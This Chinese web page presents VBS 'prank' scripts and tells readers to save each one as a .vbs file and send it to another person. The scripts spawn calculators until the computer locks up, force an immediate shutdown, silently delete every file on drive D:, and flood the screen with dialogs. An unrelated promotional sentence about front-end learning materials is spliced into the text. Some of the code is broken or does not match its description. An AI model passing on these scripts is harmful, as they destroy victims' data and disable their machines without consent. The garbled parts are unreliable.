电脑整人程序，利用VBS代码特效击溃对方电脑

一、打开无数个计算器，直到卡死你的电脑。

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

二、双击运行后直接就关机。

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

三、删除D:所有文件

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:*.* / f /q /s""",0 ,true

四、不断弹出窗口

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

while(1)

msgbox "哈哈 你被耍了！"

loop

不断按下alt+f4 （开什么都关闭……）

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%"

loop

最近有很多想学习前端开发，他们问我有没有什么好的web前端学习资料，我本是一名前端程序员，对于web前端，网页制作这方面的资料我肯定是有的啦！

按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop